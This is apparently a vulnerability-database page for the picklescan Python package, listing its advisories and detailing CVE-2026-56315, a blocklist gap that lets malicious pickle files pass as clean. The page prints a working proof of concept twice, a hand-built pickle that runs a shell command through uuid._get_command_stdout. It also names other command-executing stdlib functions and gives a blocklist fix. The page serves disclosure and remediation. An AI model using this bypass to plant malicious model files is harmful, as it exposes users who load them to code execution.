Vulnerabilities in pkg:pypi/picklescan

PACKAGE
Advisory Identifier: GHSA-g38g-8gr9-h9xp
Advisory Summary

CVE-2026-56315 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-693: Protection Mechanism Failure) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan has multiple stdlib modules with direct rce not in blocklist. Remediation is available by upgrading affected packages to version 1.0.4.

86 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/picklescan

86 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/picklescan. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-g38g-8gr9-h9xp CVE-2026-56315 CRITICAL PickleScan has multiple stdlib modules with direct RCE not in blocklist
GHSA-g7vj-qw6x-g3p8 - CRITICAL Duplicate Advisory: PickleScan has multiple stdlib modules with direct RCE not in blocklist
GHSA-6vqj-c2q5-j97w CVE-2025-71341 HIGH Picklescan has a missing detection when calling built-in python profile.Profile.runctx
GHSA-mg57-j93w-g3c7 - HIGH Duplicate Advisory: Picklescan has a missing detection when calling built-in python profile.Profile.runctx
GHSA-3329-ghmp-jmv5 CVE-2025-71365 HIGH Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
GHSA-x36p-c636-788x - HIGH Duplicate Advisory: Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
GHSA-vr7h-p6mm-wpmh CVE-2025-71370 HIGH Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
GHSA-q8qp-8jq6-78mc - HIGH Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
GHSA-7cq8-mj8x-j263 CVE-2025-71376 HIGH Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
GHSA-gq8p-2329-gh3x - HIGH Duplicate Advisory: Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
GHSA-vv6j-3g6g-2pvj CVE-2025-71348 HIGH Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
GHSA-qvp4-q2p5-22gg - HIGH Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config
GHSA-v7x6-rv5q-mhwc CVE-2025-71351 MODERATE Picklescan missing detection when calling built-in python library function timeit.timeit()
GHSA-fh2f-24rh-r2vq - HIGH Duplicate Advisory: Picklescan missing detection when calling built-in python library function timeit.timeit()
GHSA-j343-8v2j-ff7w CVE-2025-71357 HIGH Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
GHSA-8mc5-7w9m-fqv6 - HIGH Duplicate Advisory: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
GHSA-9w88-8rmg-7g2p CVE-2025-71378 MODERATE Picklescan is missing detection when calling built-in Python cProfile.runctx
GHSA-fcqg-3mwf-cfcf - HIGH Duplicate Advisory: Picklescan is missing detection when calling built-in Python cProfile.runctx
GHSA-xp4f-hrf8-rxw7 CVE-2025-71344 HIGH Picklescan is missing detection when calling built-in python ensurepip._run_pip
GHSA-m7j5-r2p5-c39r - MODERATE picklescan vulnerable to arbitrary file create using logging.FileHandler
GHSA-3vg9-h568-4w9m CVE-2025-71354 HIGH Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
GHSA-8r4j-24qv-fmq9 CVE-2025-71361 HIGH Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
GHSA-6556-fwc2-fg2p CVE-2025-71339 MODERATE Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length
GHSA-6w4w-5w54-rjvr CVE-2025-71358 HIGH Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity
GHSA-9726-w42j-3qjr CVE-2026-53872 HIGH picklescan has Arbitrary file read using `io.FileIO`
GHSA-5v23-73v4-w2fp - HIGH Duplicate Advisory: picklescan has Arbitrary file read using `io.FileIO`
GHSA-vvpj-8cmc-gx39 CVE-2026-3490 CRITICAL PickleScan's pkgutil.resolve_name has a universal blocklist bypass
GHSA-82fg-2r99-h7v6 - CRITICAL Duplicate Advisory: PickleScan's pkgutil.resolve_name has a universal blocklist bypass
GHSA-4675-36f9-wf6r CVE-2025-71323 HIGH Picklescan does not block ctypes
GHSA-7f79-rvx6-vxc4 - CRITICAL Duplicate Advisory: Picklescan does not block ctypes
GHSA-m273-6v24-x4m4 CVE-2025-71321 HIGH Picklescan vulnerable to Arbitrary File Writing
GHSA-rmpp-8wf5-xx5q - CRITICAL Duplicate Advisory: Picklescan vulnerable to Arbitrary File Writing
GHSA-97f8-7cmv-76j2 CVE-2026-53875 HIGH Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
GHSA-cc5p-54x3-hcf8 - HIGH Duplicate Advisory: Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
GHSA-7wx9-6375-f5wh CVE-2026-53873 CRITICAL PickleScan's profile.run blocklist mismatch allows exec() bypass
GHSA-4mpj-78p6-rj59 - CRITICAL Duplicate Advisory: PickleScan's profile.run blocklist mismatch allows exec() bypass
GHSA-9m3x-qqw2-h32h CVE-2026-53874 HIGH picklescan missing detection by simple obfuscation of a `builtins.eval` call
GHSA-j6c9-qvp8-699f - CRITICAL Duplicate Advisory: picklescan missing detection by simple obfuscation of a `builtins.eval` call
GHSA-hgrh-qx5j-jfwx CVE-2025-71322 HIGH Picklescan Bypasses Unsafe Globals Check using pty.spawn
GHSA-5gp7-4733-2w2v - HIGH Duplicate Advisory: Picklescan Bypasses Unsafe Globals Check using pty.spawn
GHSA-9gvj-pp9x-gcfr CVE-2025-71325 HIGH Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
GHSA-5rph-q42j-36j9 - CRITICAL Duplicate Advisory: Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
GHSA-84r2-jw7c-4r5q CVE-2025-71320 HIGH Picklescan has Incomplete List of Disallowed Inputs
GHSA-6v84-v468-3c7f - CRITICAL Duplicate Advisory: Picklescan has Incomplete List of Disallowed Inputs
GHSA-jgw4-cr84-mqxg CVE-2025-10155 CRITICAL Picklescan Bypass is Possible via File Extension Mismatch
GHSA-mjqp-26hc-grxg CVE-2025-10156 CRITICAL Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
GHSA-f7qq-56ww-84cr CVE-2025-10157 CRITICAL Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
GHSA-955r-x9j8-7rhh - HIGH Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
GHSA-46h3-79wf-xr6c - HIGH Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
GHSA-rrxm-2pvv-m66x - HIGH Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
GHSA-cffc-mxrf-mhh4 - MODERATE Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.param_eval
GHSA-x843-g5mx-g377 - HIGH Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
GHSA-r8g5-cgf2-4m4m - HIGH Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
GHSA-vqmv-47xg-9wpr - HIGH Picklescan missing detection when calling pty.spawn
GHSA-hf6h-9wq7-hmjg - CRITICAL Duplicate Advisory: Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
GHSA-j424-mc44-f4hj - CRITICAL Duplicate Advisory: Picklescan Bypass is Possible via File Extension Mismatch
GHSA-4vr7-g93g-cf6m - CRITICAL Duplicate Advisory: Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
GHSA-q77w-mwjj-7mqx - MODERATE Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start
GHSA-49gj-c84q-6qm9 - MODERATE Picklescan is missing detection when calling built-in python cProfile.run
GHSA-fqq6-7vqf-w3fg - MODERATE Picklescan is missing detection when calling built-in python doctest.debug_script
GHSA-3gf5-cxq9-w223 - MODERATE Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
GHSA-m869-42cg-3xwr - MODERATE Picklescan is missing detection when calling built-in python idlelib.run.Executive.runcode
GHSA-p9w7-82w4-7q8m - MODERATE Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label
GHSA-4whj-rm5r-c2v8 - MODERATE Picklescan is missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_autograd_prof
GHSA-9xph-j2h6-g47v - MODERATE Picklescan has a missing detection when calling built-in python library idlelib.calltip.get_entity
GHSA-cj3c-v495-4xqh - MODERATE Picklescan has a missing detection when calling built-in python code.InteractiveInterpreter
GHSA-f54q-57x4-jg88 - MODERATE Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads
GHSA-x696-vm39-cp64 - MODERATE Picklescan has a missing detection when calling built-in python profile.Profile.run
GHSA-g344-hcph-8vgg - MODERATE Picklescan has a missing detection when calling built-in python trace.Trace.runctx
GHSA-5qwp-399c-mjwf - MODERATE Picklescan has a missing detection when calling built-in python trace.Trace.run
GHSA-h3qp-7fh3-f8h4 - MODERATE Picklescan missing detection when calling pytorch function torch.utils.data.datapipes.utils.decoder.basichandlers
GHSA-f745-w6jp-hpxx - MODERATE Picklescan missing detection when calling pytorch function torch.utils.collect_env.run
GHSA-f4x7-rfwp-v3xw - MODERATE Picklescan missing detection when calling pytorch function torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression
GHSA-86cj-95qr-2p4f - MODERATE Picklescan missing detection when calling pytorch function torch._dynamo.guards.GuardBuilder.get
GHSA-4r9r-ch6f-vxmx - MODERATE Picklescan missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_cprofile
GHSA-93mv-x874-956g CVE-2025-46417 HIGH Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
GHSA-4p4h-9gvq-7xfg - MODERATE Duplicate Advisory: Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
GHSA-655q-fx9r-782v CVE-2025-1716 MODERATE Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
GHSA-7q5r-7gvp-wc82 CVE-2025-1944 MODERATE Zip Exploit Crashes Picklescan But Not PyTorch
GHSA-w8jq-xcqf-f792 CVE-2025-1945 MODERATE Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch
GHSA-fj43-3qmq-673f - MODERATE Picklescan failed to detect to some unsafe global function in Numpy library
GHSA-2fh4-gpch-vqv4 - MODERATE Duplicate Advisory: Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch
GHSA-w6mr-mj53-x258 - MODERATE Duplicate Advisory: Zip Exploit Crashes Picklescan But Not PyTorch
GHSA-769v-p64c-89pr CVE-2025-1889 MODERATE PyTorch Model Files Can Bypass Pickle Scanners via Unexpected Pickle Extensions
GHSA-hw34-rqc5-h2gm - MODERATE Duplicate Advisory: Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis
GHSA-vr75-hjh9-7fr6 - MODERATE Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

CVE-2026-56315 at a Glance

CVE Identifier CVE-2026-56315
GHSA Identifier GHSA-g38g-8gr9-h9xp
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-56315

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 1.0.4
pip install picklescan>=1.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-56315, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.4), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

CVE-2026-56315 Affected Picklescan Versions

1 component(s)
Fixed Versions:
1.0.4
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 1.0.4
1.0.4

References

Frequently Asked Questions

What is CVE-2026-56315?
CVE-2026-56315 is a security vulnerability in Picklescan involving PickleScan has multiple stdlib modules with direct RCE not in blocklist under CWE-693: Protection Mechanism Failure.
Which Picklescan versions are affected?
Affected versions include releases prior to 1.0.4 across affected packages: picklescan.
What version fixes CVE-2026-56315?
Upgrading to 1.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 1.0.4. Upgrade your dependency to 1.0.4 or later.
What is the CVSS score of CVE-2026-56315?
CVE-2026-56315 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-56315?
CVE-2026-56315 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check PyPI dependencies for CVE-2026-56315?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g38g-8gr9-h9xp",
  "modified" : "2026-09-25T13:33:56Z",
  "published" : "2026-03-03T20:05:26Z",
  "aliases" : [ "CVE-2026-56315" ],
  "summary" : "PickleScan has multiple stdlib modules with direct RCE not in blocklist",
  "details" : "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan <= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T20:05:26Z",
    "nvd_published_at" : null
  }
}